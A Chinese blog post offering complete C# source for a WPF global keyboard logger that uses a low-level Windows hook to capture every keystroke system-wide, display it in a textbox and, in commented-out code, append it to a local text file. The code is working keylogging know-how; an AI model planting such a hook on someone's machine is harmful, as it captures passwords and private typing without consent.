• wpf键盘记录器


    很简单的一个wpf键盘记录器

    这个程序我一样用了全局勾子,之前用的都是winform上运行了,前一段时间

    在国外的论坛上逛看到了一个wpf能用的就做了一个小程序记录一下,为了方便大家直关的看我在页面上放了一个textbox,

    用的时候不会这样一般都是保存到一个文本里呵呵不能做坏事

    有三个主要的类

      /// <summary> 
        /// Raw keyevent handler. 
        /// </summary> 
        /// <param name="sender">sender</param> 
        /// <param name="args">raw keyevent arguments</param> 
        public delegate void RawKeyEventHandler(object sender, RawKeyEventArgs args);
    
        #region WINAPI Helper class
    
        /// <summary> 
        /// Winapi Key interception helper class. 
        /// </summary> 
        internal static class InterceptKeys
        {
            public delegate IntPtr LowLevelKeyboardProc(int nCode, UIntPtr wParam, IntPtr lParam);
            public static int WH_KEYBOARD_LL = 13;
    
            /// <summary> 
            /// Key event 
            /// </summary> 
            public enum KeyEvent : int
            {
                /// <summary> 
                /// Key down 
                /// </summary> 
                WM_KEYDOWN = 256,
    
                /// <summary> 
                /// Key up 
                /// </summary> 
                WM_KEYUP = 257,
    
                /// <summary> 
                /// System key up 
                /// </summary> 
                WM_SYSKEYUP = 261,
    
                /// <summary> 
                /// System key down 
                /// </summary> 
                WM_SYSKEYDOWN = 260
            }
    
            public static IntPtr SetHook(LowLevelKeyboardProc proc)
            {
                using (Process curProcess = Process.GetCurrentProcess())
                using (ProcessModule curModule = curProcess.MainModule)
                {
                    return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
                }
            }
    
            [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
            public static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
    
            [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
            [return: MarshalAs(UnmanagedType.Bool)]
            public static extern bool UnhookWindowsHookEx(IntPtr hhk);
    
            [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
            public static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, UIntPtr wParam, IntPtr lParam);
    
            [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
            public static extern IntPtr GetModuleHandle(string lpModuleName);
    
            #region Convert VKCode to string
    
            // Note: Sometimes single VKCode represents multiple chars, thus string. 
            // E.g. typing "^1" (notice that when pressing 1 the both characters appear, 
            // because of this behavior, "^" is called dead key) 
    
            [DllImport("user32.dll")]
            private static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr)] System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl);
    
            [DllImport("user32.dll")]
            private static extern bool GetKeyboardState(byte[] lpKeyState);
    
            [DllImport("user32.dll")]
            private static extern uint MapVirtualKeyEx(uint uCode, uint uMapType, IntPtr dwhkl);
    
            [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]
            private static extern IntPtr GetKeyboardLayout(uint dwLayout);
    
            [DllImport("User32.dll")]
            private static extern IntPtr GetForegroundWindow();
    
            [DllImport("User32.dll")]
            private static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
    
            [DllImport("user32.dll")]
            private static extern bool AttachThreadInput(uint idAttach, uint idAttachTo, bool fAttach);
    
            [DllImport("kernel32.dll")]
            private static extern uint GetCurrentThreadId();
    
            private static uint lastVKCode = 0;
            private static uint lastScanCode = 0;
            private static byte[] lastKeyState = new byte[255];
            private static bool lastIsDead = false;
    
            /// <summary> 
            /// Convert VKCode to Unicode. 
            /// <remarks>isKeyDown is required for because of keyboard state inconsistencies!</remarks> 
            /// </summary> 
            /// <param name="VKCode">VKCode</param> 
            /// <param name="isKeyDown">Is the key down event?</param> 
            /// <returns>String representing single unicode character.</returns> 
            public static string VKCodeToString(uint VKCode, bool isKeyDown)
            {
                // ToUnicodeEx needs StringBuilder, it populates that during execution. 
                System.Text.StringBuilder sbString = new System.Text.StringBuilder(5);
    
                byte[] bKeyState = new byte[255];
                bool bKeyStateStatus;
                bool isDead = false;
    
                // Gets the current windows window handle, threadID, processID 
                IntPtr currentHWnd = GetForegroundWindow();
                uint currentProcessID;
                uint currentWindowThreadID = GetWindowThreadProcessId(currentHWnd, out currentProcessID);
    
                // This programs Thread ID 
                uint thisProgramThreadId = GetCurrentThreadId();
    
                // Attach to active thread so we can get that keyboard state 
                if (AttachThreadInput(thisProgramThreadId, currentWindowThreadID, true))
                {
                    // Current state of the modifiers in keyboard 
                    bKeyStateStatus = GetKeyboardState(bKeyState);
    
                    // Detach 
                    AttachThreadInput(thisProgramThreadId, currentWindowThreadID, false);
                }
                else
                {
                    // Could not attach, perhaps it is this process? 
                    bKeyStateStatus = GetKeyboardState(bKeyState);
                }
    
                // On failure we return empty string. 
                if (!bKeyStateStatus)
                    return "";
    
                // Gets the layout of keyboard 
                IntPtr HKL = GetKeyboardLayout(currentWindowThreadID);
    
                // Maps the virtual keycode 
                uint lScanCode = MapVirtualKeyEx(VKCode, 0, HKL);
    
                // Keyboard state goes inconsistent if this is not in place. In other words, we need to call above commands in UP events also. 
                if (!isKeyDown)
                    return "";
    
                // Converts the VKCode to unicode 
                int relevantKeyCountInBuffer = ToUnicodeEx(VKCode, lScanCode, bKeyState, sbString, sbString.Capacity, (uint)0, HKL);
    
                string ret = "";
    
                switch (relevantKeyCountInBuffer)
                {
                    // Dead keys (^,`...) 
                    case -1:
                        isDead = true;
    
                        // We must clear the buffer because ToUnicodeEx messed it up, see below. 
                        ClearKeyboardBuffer(VKCode, lScanCode, HKL);
                        break;
    
                    case 0:
                        break;
    
                    // Single character in buffer 
                    case 1:
                        ret = sbString[0].ToString();
                        break;
    
                    // Two or more (only two of them is relevant) 
                    case 2:
                    default:
                        ret = sbString.ToString().Substring(0, 2);
                        break;
                }
    
                // We inject the last dead key back, since ToUnicodeEx removed it. 
                // More about this peculiar behavior see e.g: 
                //   http://www.experts-exchange.com/Programming/System/Windows__Programming/Q_23453780.html 
                //   http://blogs.msdn.com/michkap/archive/2005/01/19/355870.aspx 
                //   http://blogs.msdn.com/michkap/archive/2007/10/27/5717859.aspx 
                if (lastVKCode != 0 && lastIsDead)
                {
                    System.Text.StringBuilder sbTemp = new System.Text.StringBuilder(5);
                    ToUnicodeEx(lastVKCode, lastScanCode, lastKeyState, sbTemp, sbTemp.Capacity, (uint)0, HKL);
                    lastVKCode = 0;
    
                    return ret;
                }
    
                // Save these 
                lastScanCode = lScanCode;
                lastVKCode = VKCode;
                lastIsDead = isDead;
                lastKeyState = (byte[])bKeyState.Clone();
    
                return ret;
            }
    
            private static void ClearKeyboardBuffer(uint vk, uint sc, IntPtr hkl)
            {
                System.Text.StringBuilder sb = new System.Text.StringBuilder(10);
    
                int rc;
                do
                {
                    byte[] lpKeyStateNull = new Byte[255];
                    rc = ToUnicodeEx(vk, sc, lpKeyStateNull, sb, sb.Capacity, 0, hkl);
                } while (rc < 0);
            }
    
            #endregion Convert VKCode to string
        }
    
        #endregion WINAPI Helper class
    
    public class KeyboardListener : IDisposable
        {
            /// <summary> 
            /// Creates global keyboard listener. 
            /// </summary> 
            public KeyboardListener()
            {
                // Dispatcher thread handling the KeyDown/KeyUp events. 
                this.dispatcher = Dispatcher.CurrentDispatcher;
    
                // We have to store the LowLevelKeyboardProc, so that it is not garbage collected runtime 
                hookedLowLevelKeyboardProc = (InterceptKeys.LowLevelKeyboardProc)LowLevelKeyboardProc;
    
                // Set the hook 
                hookId = InterceptKeys.SetHook(hookedLowLevelKeyboardProc);
    
                // Assign the asynchronous callback event 
                hookedKeyboardCallbackAsync = new KeyboardCallbackAsync(KeyboardListener_KeyboardCallbackAsync);
            }
    
            private Dispatcher dispatcher;
    
            /// <summary> 
            /// Destroys global keyboard listener. 
            /// </summary> 
            ~KeyboardListener()
            {
                Dispose();
            }
    
            /// <summary> 
            /// Fired when any of the keys is pressed down. 
            /// </summary> 
            public event RawKeyEventHandler KeyDown;
    
            /// <summary> 
            /// Fired when any of the keys is released. 
            /// </summary> 
            public event RawKeyEventHandler KeyUp;
    
            #region Inner workings
    
            /// <summary> 
            /// Hook ID 
            /// </summary> 
            private IntPtr hookId = IntPtr.Zero;
    
            /// <summary> 
            /// Asynchronous callback hook. 
            /// </summary> 
            /// <param name="character">Character</param> 
            /// <param name="keyEvent">Keyboard event</param> 
            /// <param name="vkCode">VKCode</param> 
            private delegate void KeyboardCallbackAsync(InterceptKeys.KeyEvent keyEvent, int vkCode, string character);
    
            /// <summary> 
            /// Actual callback hook. 
            /// 
            /// <remarks>Calls asynchronously the asyncCallback.</remarks> 
            /// </summary> 
            /// <param name="nCode"></param> 
            /// <param name="wParam"></param> 
            /// <param name="lParam"></param> 
            /// <returns></returns> 
            [MethodImpl(MethodImplOptions.NoInlining)]
            private IntPtr LowLevelKeyboardProc(int nCode, UIntPtr wParam, IntPtr lParam)
            {
                string chars = "";
    
                if (nCode >= 0)
                    if (wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYDOWN ||
                        wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYUP ||
                        wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYDOWN ||
                        wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYUP)
                    {
                        // Captures the character(s) pressed only on WM_KEYDOWN 
                        chars = InterceptKeys.VKCodeToString((uint)Marshal.ReadInt32(lParam),
                            (wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYDOWN ||
                            wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYDOWN));
    
                        hookedKeyboardCallbackAsync.BeginInvoke((InterceptKeys.KeyEvent)wParam.ToUInt32(), Marshal.ReadInt32(lParam), chars, null, null);
                    }
    
                return InterceptKeys.CallNextHookEx(hookId, nCode, wParam, lParam);
            }
    
            /// <summary> 
            /// Event to be invoked asynchronously (BeginInvoke) each time key is pressed. 
            /// </summary> 
            private KeyboardCallbackAsync hookedKeyboardCallbackAsync;
    
            /// <summary> 
            /// Contains the hooked callback in runtime. 
            /// </summary> 
            private InterceptKeys.LowLevelKeyboardProc hookedLowLevelKeyboardProc;
    
            /// <summary> 
            /// HookCallbackAsync procedure that calls accordingly the KeyDown or KeyUp events. 
            /// </summary> 
            /// <param name="keyEvent">Keyboard event</param> 
            /// <param name="vkCode">VKCode</param> 
            /// <param name="character">Character as string.</param> 
            private void KeyboardListener_KeyboardCallbackAsync(InterceptKeys.KeyEvent keyEvent, int vkCode, string character)
            {
                switch (keyEvent)
                {
                    // KeyDown events 
                    case InterceptKeys.KeyEvent.WM_KEYDOWN:
                        if (KeyDown != null)
                            dispatcher.BeginInvoke(new RawKeyEventHandler(KeyDown), this, new RawKeyEventArgs(vkCode, false, character));
                        break;
                    case InterceptKeys.KeyEvent.WM_SYSKEYDOWN:
                        if (KeyDown != null)
                            dispatcher.BeginInvoke(new RawKeyEventHandler(KeyDown), this, new RawKeyEventArgs(vkCode, true, character));
                        break;
    
                    // KeyUp events 
                    case InterceptKeys.KeyEvent.WM_KEYUP:
                        if (KeyUp != null)
                            dispatcher.BeginInvoke(new RawKeyEventHandler(KeyUp), this, new RawKeyEventArgs(vkCode, false, character));
                        break;
                    case InterceptKeys.KeyEvent.WM_SYSKEYUP:
                        if (KeyUp != null)
                            dispatcher.BeginInvoke(new RawKeyEventHandler(KeyUp), this, new RawKeyEventArgs(vkCode, true, character));
                        break;
    
                    default:
                        break;
                }
            }
    
            #endregion Inner workings
    
            #region IDisposable Members
    
            /// <summary> 
            /// Disposes the hook. 
            /// <remarks>This call is required as it calls the UnhookWindowsHookEx.</remarks> 
            /// </summary> 
            public void Dispose()
            {
                InterceptKeys.UnhookWindowsHookEx(hookId);
            }
    
            #endregion IDisposable Members
        }
    
     /// <summary> 
        /// Raw KeyEvent arguments. 
        /// </summary> 
        public class RawKeyEventArgs : EventArgs
        {
            /// <summary> 
            /// VKCode of the key. 
            /// </summary> 
            public int VKCode;
    
            /// <summary> 
            /// WPF Key of the key. 
            /// </summary> 
            public Key Key;
    
            /// <summary> 
            /// Is the hitted key system key. 
            /// </summary> 
            public bool IsSysKey;
    
            /// <summary> 
            /// Convert to string. 
            /// </summary> 
            /// <returns>Returns string representation of this key, if not possible empty string is returned.</returns> 
            public override string ToString()
            {
                return Character;
            }
    
            /// <summary> 
            /// Unicode character of key pressed. 
            /// </summary> 
            public string Character;
    
            /// <summary> 
            /// Create raw keyevent arguments. 
            /// </summary> 
            /// <param name="VKCode"></param> 
            /// <param name="isSysKey"></param> 
            /// <param name="Character">Character</param> 
            public RawKeyEventArgs(int VKCode, bool isSysKey, string Character)
            {
                this.VKCode = VKCode;
                this.IsSysKey = isSysKey;
                this.Character = Character;
                this.Key = System.Windows.Input.KeyInterop.KeyFromVirtualKey(VKCode);
            }
        }
    

    codebehind

       KeyboardListener _KeyListener = new KeyboardListener();
            bool _isRuning = false;
            public MainWindow()
            {
                InitializeComponent();
                this.Loaded += Window_Loaded;
            }
    
            public void BeginListen(object sender, RoutedEventArgs e)
            {
                _isRuning = true;
            }
            public void StopListen(object sender, RoutedEventArgs e)
            {
                _isRuning = false;
            }
    
            private void Window_Loaded(object sender, RoutedEventArgs e)
            {
                _KeyListener.KeyDown += new RawKeyEventHandler(KListener_KeyDown);
            }
            StringBuilder _sb = new StringBuilder();
            private void KListener_KeyDown(object sender, RawKeyEventArgs args)
            {
                if (!_isRuning) return;
                tb_keyText.Text += args.ToString();
                //if (args.Key == Key.Enter)
                //{
                //    Write(_sb.ToString());
                //    _sb.Clear();
                //}
                //else
                //{
                //    _sb.Append(args.ToString());
                //}
                //Console.WriteLine(args.ToString());
            }
    
            private void Write(string keyEvents)
            {
                try
                {
                    StreamWriter sw = new StreamWriter("D:/keyReport.txt", true);
                    sw.WriteLine(keyEvents);
                    sw.Close();
    
                }
                catch (Exception Exception)
                {
                }
            }
            private void Window_Closing(object sender, System.ComponentModel.CancelEventArgs e)
            {
                _KeyListener.Dispose();
            } 
    
  • 相关阅读:
    mysql从视图view简化到带子查询的sql
    my.ini或my.cnf
    Windows文件在linux下每行后出现^M字样
    Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock'
    javascript 判断中文字符长度
    该如何正确的使用position属性 它的作用是什么?
    css中em与px的介绍及换算方法
    如何卸载Linux下的Apache?
    HDU 3954 Level up
    HDU 4027 Can you answer these queries?
  • 原文地址:https://www.cnblogs.com/li-peng/p/3328454.html
Copyright © 2020-2023  润新知